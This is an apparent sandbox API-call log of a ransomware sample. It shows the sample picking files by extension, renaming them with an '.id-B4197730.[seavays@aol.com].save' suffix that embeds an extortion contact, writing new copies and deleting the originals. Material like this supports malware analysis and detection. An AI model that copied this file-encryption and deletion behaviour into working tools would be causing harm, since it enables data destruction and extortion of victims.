1 [0056.104] lstrlenW (lpString=".rar") returned 4 [0056.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".bz2") returned 4 [0056.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".7z") returned 3 [0056.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.105] lstrlenW (lpString=".dbf") returned 4 [0056.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.105] lstrlenW (lpString=".1cd") returned 4 [0056.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.105] lstrlenW (lpString=".jpg") returned 4 [0056.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.105] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.105] lstrlenW (lpString="zh-changjei.xml") returned 15 [0056.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.106] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9803) returned 1 [0056.106] CloseHandle (hObject=0x368) returned 1 [0056.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0056.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.106] lstrlenW (lpString=".doc") returned 4 [0056.106] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.106] lstrlenW (lpString=".docx") returned 5 [0056.106] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0056.106] lstrlenW (lpString=".pdf") returned 4 [0056.106] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.106] lstrlenW (lpString=".xls") returned 4 [0056.106] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.106] lstrlenW (lpString=".xlsx") returned 5 [0056.106] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0056.106] lstrlenW (lpString=".ppt") returned 4 [0056.107] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString=".zip") returned 4 [0056.107] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.107] lstrlenW (lpString=".rar") returned 4 [0056.107] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString=".bz2") returned 4 [0056.107] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString=".7z") returned 3 [0056.107] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString=".dbf") returned 4 [0056.107] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString=".1cd") returned 4 [0056.107] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString=".jpg") returned 4 [0056.107] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.107] lstrlenW (lpString=".doc") returned 4 [0056.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString=".docx") returned 5 [0056.107] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0056.107] lstrlenW (lpString=".pdf") returned 4 [0056.107] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString=".xls") returned 4 [0056.107] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.107] lstrlenW (lpString=".xlsx") returned 5 [0056.107] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0056.107] lstrlenW (lpString=".ppt") returned 4 [0056.107] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.108] lstrlenW (lpString=".zip") returned 4 [0056.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.108] lstrlenW (lpString=".rar") returned 4 [0056.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.108] lstrlenW (lpString=".bz2") returned 4 [0056.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.108] lstrlenW (lpString=".7z") returned 3 [0056.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.108] lstrlenW (lpString=".dbf") returned 4 [0056.108] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.108] lstrlenW (lpString=".1cd") returned 4 [0056.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0056.108] lstrlenW (lpString=".jpg") returned 4 [0056.108] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.108] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.108] lstrlenW (lpString="zh-dayi.xml") returned 11 [0056.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.108] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11067) returned 1 [0056.108] CloseHandle (hObject=0x368) returned 1 [0056.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0056.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.109] lstrlenW (lpString=".doc") returned 4 [0056.109] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString=".docx") returned 5 [0056.109] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0056.109] lstrlenW (lpString=".pdf") returned 4 [0056.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString=".xls") returned 4 [0056.109] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString=".xlsx") returned 5 [0056.109] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0056.109] lstrlenW (lpString=".ppt") returned 4 [0056.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.109] lstrlenW (lpString=".zip") returned 4 [0056.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.109] lstrlenW (lpString=".rar") returned 4 [0056.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString=".bz2") returned 4 [0056.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.109] lstrlenW (lpString=".7z") returned 3 [0056.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.109] lstrlenW (lpString=".dbf") returned 4 [0056.109] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".1cd") returned 4 [0056.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".jpg") returned 4 [0056.110] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".doc") returned 4 [0056.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString=".docx") returned 5 [0056.110] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0056.110] lstrlenW (lpString=".pdf") returned 4 [0056.110] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString=".xls") returned 4 [0056.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString=".xlsx") returned 5 [0056.110] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0056.110] lstrlenW (lpString=".ppt") returned 4 [0056.110] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".zip") returned 4 [0056.110] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.110] lstrlenW (lpString=".rar") returned 4 [0056.110] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString=".bz2") returned 4 [0056.110] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString=".7z") returned 3 [0056.110] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".dbf") returned 4 [0056.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.110] lstrlenW (lpString=".1cd") returned 4 [0056.111] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0056.111] lstrlenW (lpString=".jpg") returned 4 [0056.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.111] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.111] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0056.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.111] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10947) returned 1 [0056.111] CloseHandle (hObject=0x368) returned 1 [0056.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0056.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.112] lstrlenW (lpString=".doc") returned 4 [0056.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString=".docx") returned 5 [0056.112] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0056.112] lstrlenW (lpString=".pdf") returned 4 [0056.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString=".xls") returned 4 [0056.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString=".xlsx") returned 5 [0056.112] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0056.112] lstrlenW (lpString=".ppt") returned 4 [0056.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.112] lstrlenW (lpString=".zip") returned 4 [0056.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.112] lstrlenW (lpString=".rar") returned 4 [0056.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString=".bz2") returned 4 [0056.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.112] lstrlenW (lpString=".7z") returned 3 [0056.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.112] lstrlenW (lpString=".dbf") returned 4 [0056.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString=".1cd") returned 4 [0056.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString=".jpg") returned 4 [0056.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString=".doc") returned 4 [0056.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString=".docx") returned 5 [0056.113] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0056.113] lstrlenW (lpString=".pdf") returned 4 [0056.113] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString=".xls") returned 4 [0056.113] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString=".xlsx") returned 5 [0056.113] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0056.113] lstrlenW (lpString=".ppt") returned 4 [0056.113] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString=".zip") returned 4 [0056.113] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.113] lstrlenW (lpString=".rar") returned 4 [0056.113] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString=".bz2") returned 4 [0056.113] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.113] lstrlenW (lpString=".7z") returned 3 [0056.113] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.113] lstrlenW (lpString=".dbf") returned 4 [0056.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.150] lstrlenW (lpString=".1cd") returned 4 [0056.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0056.150] lstrlenW (lpString=".jpg") returned 4 [0056.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.150] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.150] lstrlenW (lpString="main.xml") returned 8 [0056.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.151] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=44506) returned 1 [0056.151] CloseHandle (hObject=0x368) returned 1 [0056.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0056.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0056.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0056.151] lstrlenW (lpString=".doc") returned 4 [0056.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.151] lstrlenW (lpString=".docx") returned 5 [0056.151] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0056.151] lstrlenW (lpString=".pdf") returned 4 [0056.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.151] lstrlenW (lpString=".xls") returned 4 [0056.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.151] lstrlenW (lpString=".xlsx") returned 5 [0056.151] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0056.151] lstrlenW (lpString=".ppt") returned 4 [0056.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0056.152] lstrlenW (lpString=".zip") returned 4 [0056.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.152] lstrlenW (lpString=".rar") returned 4 [0056.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.152] lstrlenW (lpString=".bz2") returned 4 [0056.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.152] lstrlenW (lpString=".7z") returned 3 [0056.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0056.152] lstrlenW (lpString=".dbf") returned 4 [0056.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0056.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0056.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.210] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.211] GetLastError () returned 0x0 [0056.211] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xae, lpOverlapped=0x0) returned 1 [0056.212] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xb0, lpOverlapped=0x0) returned 1 [0056.213] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.213] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0056.213] SetEndOfFile (hFile=0x368) returned 1 [0056.213] CloseHandle (hObject=0x368) returned 1 [0056.214] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.214] SetEndOfFile (hFile=0x34c) returned 1 [0056.215] CloseHandle (hObject=0x34c) returned 1 [0056.215] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0056.215] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0056.215] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.215] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.215] lstrlenW (lpString=".doc") returned 4 [0056.215] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.215] lstrlenW (lpString=".docx") returned 5 [0056.215] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.215] lstrlenW (lpString=".pdf") returned 4 [0056.215] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.215] lstrlenW (lpString=".xls") returned 4 [0056.216] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString=".xlsx") returned 5 [0056.216] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.216] lstrlenW 